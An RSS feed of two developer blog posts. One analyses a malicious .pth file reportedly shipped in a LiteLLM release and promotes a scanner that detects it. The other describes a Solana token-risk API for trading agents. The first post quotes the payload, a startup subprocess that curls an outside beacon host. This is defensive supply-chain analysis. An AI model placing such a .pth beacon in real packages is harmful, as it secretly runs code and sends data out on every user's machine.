<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 0xAllenDev</title>
    <description>The latest articles on DEV Community by 0xAllenDev (@0xallendev).</description>
    <link>https://dev.to/0xallendev</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3817002%2F6887e259-f90d-46d4-8aa1-bc02909a91d2.jpeg</url>
      <title>DEV Community: 0xAllenDev</title>
      <link>https://dev.to/0xallendev</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/0xallendev"/>
    <language>en</language>
    <item>
      <title>How .pth Files Became a Supply Chain Weapon (and How to Detect Them)</title>
      <dc:creator>0xAllenDev</dc:creator>
      <pubDate>Thu, 26 Mar 2026 01:54:07 +0000</pubDate>
      <link>https://dev.to/0xallendev/how-pth-files-became-a-supply-chain-weapon-and-how-to-detect-them-1l2o</link>
      <guid>https://dev.to/0xallendev/how-pth-files-became-a-supply-chain-weapon-and-how-to-detect-them-1l2o</guid>
      <description>&lt;h2&gt;
  
  
  The Attack That Started It
&lt;/h2&gt;

&lt;p&gt;On March 24, 2026, LiteLLM 1.82.7 was published to PyPI. It contained a file called &lt;code&gt;litellm_init.pth&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;curl&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-s&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://models.litellm.cloud/beacon&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-d&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEVNULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEVNULL&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This wasn't in the main code. It was in a &lt;code&gt;.pth&lt;/code&gt; file.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Are .pth Files?
&lt;/h2&gt;

&lt;p&gt;Python's &lt;code&gt;.pth&lt;/code&gt; (path) files live in &lt;code&gt;site-packages/&lt;/code&gt; and execute &lt;strong&gt;every time you start Python&lt;/strong&gt; — not just during &lt;code&gt;pip install&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Most developers don't know this. Attackers do.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Other Scanners Missed It
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;.pth Analysis&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;pip-audit&lt;/td&gt;
&lt;td&gt;❌ CVE database only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Safety&lt;/td&gt;
&lt;td&gt;❌ Known vulnerabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trivy&lt;/td&gt;
&lt;td&gt;❌ SBOM + CVE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;socket.dev&lt;/td&gt;
&lt;td&gt;❌ Not detected&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;chaincanary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;Semantic classifier&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  How chaincanary Works
&lt;/h2&gt;

&lt;p&gt;Instead of flagging all &lt;code&gt;.pth&lt;/code&gt; files, chaincanary classifies them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;EMPTY → silent
PATH_ONLY → silent  
SAFE_CODE → LOW warning
DANGEROUS → CRITICAL → MALICIOUS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The LiteLLM file? &lt;code&gt;subprocess.Popen(['curl', ...])&lt;/code&gt; → &lt;strong&gt;DANGEROUS&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;chaincanary
chaincanary check litellm 1.82.7
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;🔍 chaincanary — Analyzing litellm==1.82.7

╭──────────┬──────────────────┬──────────────────────────────╮
│ Severity │ Rule             │ Title                        │
├──────────┼──────────────────┼──────────────────────────────┤
│ CRITICAL │ PTH_FILE_INSTALL │ .pth file installs code...   │
│ CRITICAL │ PTH_NETWORK      │ phone-home on startup        │
│ CRITICAL │ PTH_SUBPROCESS   │ subprocess on startup        │
╰──────────┴──────────────────┴──────────────────────────────╯

Score: 10.0 / 10.0
Verdict: ██ MALICIOUS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  CI Integration
&lt;/h2&gt;

&lt;p&gt;Add to your GitHub Actions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;AetherCore-Dev/chaincanary@v0.1.0&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;requirements&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;requirements.txt&lt;/span&gt;
    &lt;span class="na"&gt;fail-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;MALICIOUS&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Philosophy
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;No account required&lt;/li&gt;
&lt;li&gt;No data leaves your machine&lt;/li&gt;
&lt;li&gt;No Docker, no sandbox, no root&lt;/li&gt;
&lt;li&gt;Pure Python static analysis&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try It
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;chaincanary
chaincanary check litellm 1.82.7
chaincanary audit requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GitHub: &lt;a href="https://github.com/AetherCore-Dev/chaincanary" rel="noopener noreferrer"&gt;https://github.com/AetherCore-Dev/chaincanary&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Built after a real attack. Hope it helps you stay safe.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>supplychain</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I Built an AI Agent That Checks If a Solana Token Is a Rug Pull — Before You Buy</title>
      <dc:creator>0xAllenDev</dc:creator>
      <pubDate>Wed, 11 Mar 2026 14:31:08 +0000</pubDate>
      <link>https://dev.to/0xallendev/i-built-an-ai-agent-that-checks-if-a-solana-token-is-a-rug-pull-before-you-buy-2g3f</link>
      <guid>https://dev.to/0xallendev/i-built-an-ai-agent-that-checks-if-a-solana-token-is-a-rug-pull-before-you-buy-2g3f</guid>
      <description>&lt;h1&gt;
  
  
  I Built an AI Agent That Checks If a Solana Token Is a Rug Pull — Before You Buy
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;The ugly truth: a large percentage of new Solana tokens are scams or honeypots&lt;/strong&gt; — industry estimates range from 60-80%, depending on the data source and time period. I learned this the hard way. So I built an MCP server that checks any token's risk score in real-time — and makes AI agents actually use it before trading.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;I was building an AI trading agent. It was supposed to be smart: analyze tokens, detect trends, execute trades. &lt;/p&gt;

&lt;p&gt;Then I fed it a token that looked legitimate. Clean contract. Decent liquidity. A website with a roadmap and a Telegram link that had 5,000 members.&lt;/p&gt;

&lt;p&gt;The agent bought in.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The token was a rug pull.&lt;/strong&gt; $2,400 gone in 11 minutes.&lt;/p&gt;

&lt;p&gt;That's when I understood the uncomfortable truth: &lt;strong&gt;AI agents can analyze sentiment, write code, and debug — but they can't verify if a token is a scam.&lt;/strong&gt; They have no way to check:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is the liquidity locked or burnable?&lt;/li&gt;
&lt;li&gt;Does the contract have a mint function that lets the owner print infinite tokens?&lt;/li&gt;
&lt;li&gt;Are top holders dumping on the community?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Existing tools exist for humans. RugCheck.xyz. DexScreener. GoPlus Security. But they're all separate APIs, different response formats, and none of them expose an interface an AI agent can actually use autonomously.&lt;/p&gt;

&lt;p&gt;So I built one.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Built: Token RugCheck MCP Server
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;token-rugcheck&lt;/code&gt; is an MCP server that gives AI agents the ability to audit any Solana token before trading. It's a middleware that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fetches from 3 data sources in parallel&lt;/strong&gt;: RugCheck.xyz, DexScreener, and GoPlus Security&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Runs deterministic risk rules&lt;/strong&gt;: 10 rules covering mint authority, liquidity protection, holder concentration, sell pressure, and more&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Returns a three-layer report&lt;/strong&gt;: Machine-readable verdict + LLM-friendly analysis + raw evidence for humans to verify
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Your AI Agent          Token RugCheck
      │                      │
      │  GET /v1/audit/{mint}│
      ├─────────────────────▶│
      │                      │
      │  402 Payment (0.02 USDC)
      │◀─────────────────────┤
      │                      │
      │  USDC on Solana      │
      ├─────────────────────▶│
      │                      │
      │  200 OK + Report    │
      │◀─────────────────────┤
      │                      │
      │ is_safe: false      │
      │ risk_score: 85      │
      │ risk_level: CRITICAL│
      │ red_flags: [...]    │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Three-Layer Report
&lt;/h3&gt;

&lt;p&gt;Most token scanners give you a number. I wanted more:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;For&lt;/th&gt;
&lt;th&gt;Content&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Machines&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;is_safe&lt;/code&gt; (bool), &lt;code&gt;risk_score&lt;/code&gt; (0-100), &lt;code&gt;risk_level&lt;/code&gt; (SAFE/LOW/MEDIUM/HIGH/CRITICAL)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Analysis&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LLMs&lt;/td&gt;
&lt;td&gt;Summary, red flags, green flags — in natural language the agent can reason about&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Evidence&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Humans&lt;/td&gt;
&lt;td&gt;Raw numbers: liquidity, holder distribution, mint/freeze authority, price, volume&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The agent can read the summary and make a decision, but a human can also verify the raw data to catch edge cases the rules might miss.&lt;/p&gt;




&lt;h2&gt;
  
  
  How the Risk Engine Works
&lt;/h2&gt;

&lt;p&gt;I didn't want to rely on an LLM for the core judgment. LLMs are great for analysis, but they're inconsistent for binary safety decisions. Instead, I implemented &lt;strong&gt;10 deterministic rules&lt;/strong&gt; that have been validated against the real Solana ecosystem:&lt;/p&gt;

&lt;h3&gt;
  
  
  Critical Rules (any = extreme danger)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Mintable&lt;/strong&gt; (+40): Contract has active mint authority — owner can inflate supply at will&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LP Unprotected&lt;/strong&gt; (+35): Liquidity pool is neither burned nor sufficiently locked&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Freezable&lt;/strong&gt; (+30): Contract has freeze authority — owner can freeze any holder's tokens&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  High Rules
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Top 10 Concentrated&lt;/strong&gt; (+25): Top 10 holders control &amp;gt;80% of supply&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Low Liquidity&lt;/strong&gt; (+20): Less than $10K liquidity — easily manipulated&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sell Pressure&lt;/strong&gt; (+15): 24h sells &amp;gt;3x buys — possible coordinated dump&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Medium Rules
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Very New Pair&lt;/strong&gt; (+10): Trading pair created &amp;lt;24 hours ago&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Low Volume&lt;/strong&gt; (+5): 24h volume &amp;lt;$1,000&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Low Rules (informational)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Metadata Mutable&lt;/strong&gt; (+3): Token metadata can be changed (common on Solana)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Closable&lt;/strong&gt; (+3): Contract has close authority (usually for rent reclamation)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Liquidity exemption&lt;/strong&gt;: Tokens with ≥$1M liquidity are exempt from LP-protection and holder-concentration rules. High liquidity itself is a strong anti-rug signal for established tokens like BONK, WIF, and JUP.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pricing: $0.02 USDC Per Audit
&lt;/h2&gt;

&lt;p&gt;The service costs $0.02 USDC per audit, powered by &lt;a href="https://github.com/AetherCore-Dev/ag402" rel="noopener noreferrer"&gt;ag402&lt;/a&gt; — a payment layer that implements Coinbase's x402 protocol on Solana.&lt;/p&gt;

&lt;p&gt;Why this price point?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It's 50% cheaper than the closest competitor (rug-munch-mcp charges $0.04 for basic checks)&lt;/li&gt;
&lt;li&gt;It's enough to prevent spam/abuse but not so high that users hesitate&lt;/li&gt;
&lt;li&gt;It's automated: the AI agent pays automatically via the x402 protocol, no API keys required&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There's also a free tier: 20 requests per IP per day, for users who just want to check a few tokens.&lt;/p&gt;




&lt;h2&gt;
  
  
  Integration: One Line of Code
&lt;/h2&gt;

&lt;p&gt;The whole point is that the agent &lt;strong&gt;actually uses it before trading&lt;/strong&gt;. Here's what that looks like in practice:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ag402_core&lt;/span&gt;
&lt;span class="n"&gt;ag402_core&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# Auto-handles 402 → pay → retry
&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;AsyncClient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://rugcheck.aethercore.dev/v1/audit/DezXAZ8z7PnrnRJjz3wXBoRgixCa6xjnB7YaB1pPB263&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;report&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;report&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;action&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;is_safe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="c1"&gt;# Execute the trade
&lt;/span&gt;        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;execute_trade&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;report&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;action&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;risk_score&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SKIPPED — &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;report&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;analysis&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;summary&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;report&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;analysis&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;red_flags&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  🚩 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent receives the report, reads the summary, and makes a decision. &lt;strong&gt;The safety check is no longer optional — it's built into the flow.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  TypeScript Support
&lt;/h3&gt;

&lt;p&gt;Not using Python? ag402 also ships a TypeScript SDK:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; @ag402/fetch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createX402Fetch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;InMemoryWallet&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@ag402/fetch&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apiFetch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createX402Fetch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;InMemoryWallet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;apiFetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://rugcheck.aethercore.dev/v1/audit/DezXAZ8z7PnrnRJjz3wXBoRgixCa6xjnB7YaB1pPB263&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What I Got Wrong (And Fixed)
&lt;/h2&gt;

&lt;p&gt;Building this taught me some hard lessons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Data source priority matters&lt;/strong&gt;: I initially merged data arbitrarily, but discovered RugCheck's liquidity data is more reliable than DexScreener's for older pairs, while DexScreener has better real-time volume data. I now use a priority merge: RugCheck → DexScreener → GoPlus.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Graceful degradation is critical&lt;/strong&gt;: If all three upstream APIs fail, returning &lt;code&gt;is_safe: true&lt;/code&gt; would be catastrophic. I now return a degraded report with &lt;code&gt;risk_score: 100&lt;/code&gt; and a warning when all sources fail, forcing human intervention.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Solana's "closable" is misunderstood&lt;/strong&gt;: Many scanners flag "closable" as HIGH risk, but on Solana this typically refers to rent reclamation, not token theft. I demoted it to LOW.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cache TTL matters for rug pulls&lt;/strong&gt;: By the time a rug pull happens, the token's data might still be cached. I use a 3-second TTL for non-degraded reports and a 10-second TTL for degraded reports — short enough to catch rapid changes, long enough to reduce upstream API load.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The Bigger Picture
&lt;/h2&gt;

&lt;p&gt;This isn't just about my tool. It's about a fundamental capability gap: &lt;strong&gt;AI agents can execute financial transactions but can't verify if they're safe.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We're building trillion-dollar agent economies, but the safety infrastructure is missing. Before agents can trade autonomously, they need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Identity verification (who owns the wallet?)&lt;/li&gt;
&lt;li&gt;✅ Risk assessment (is this token a scam?)&lt;/li&gt;
&lt;li&gt;✅ Limit enforcement (how much can I lose?)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Token RugCheck solves the second problem. What's next — wallet reputation scoring? Transaction simulation? I'd love to hear what you'd build on top.&lt;/p&gt;




&lt;h2&gt;
  
  
  Try It Now
&lt;/h2&gt;

&lt;p&gt;No signup required. 20 free audits per day:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://rugcheck.aethercore.dev/v1/audit/DezXAZ8z7PnrnRJjz3wXBoRgixCa6xjnB7YaB1pPB263
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or install the MCP server and give your AI agent autonomous audit capabilities:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="s2"&gt;"ag402-core[crypto]"&lt;/span&gt; httpx
python &lt;span class="nt"&gt;-m&lt;/span&gt; rugcheck.main &amp;amp;  &lt;span class="c"&gt;# Start the server&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The code is open source (MIT).&lt;/strong&gt; Build on it. Break it. Improve it.&lt;/p&gt;

&lt;ul&gt;
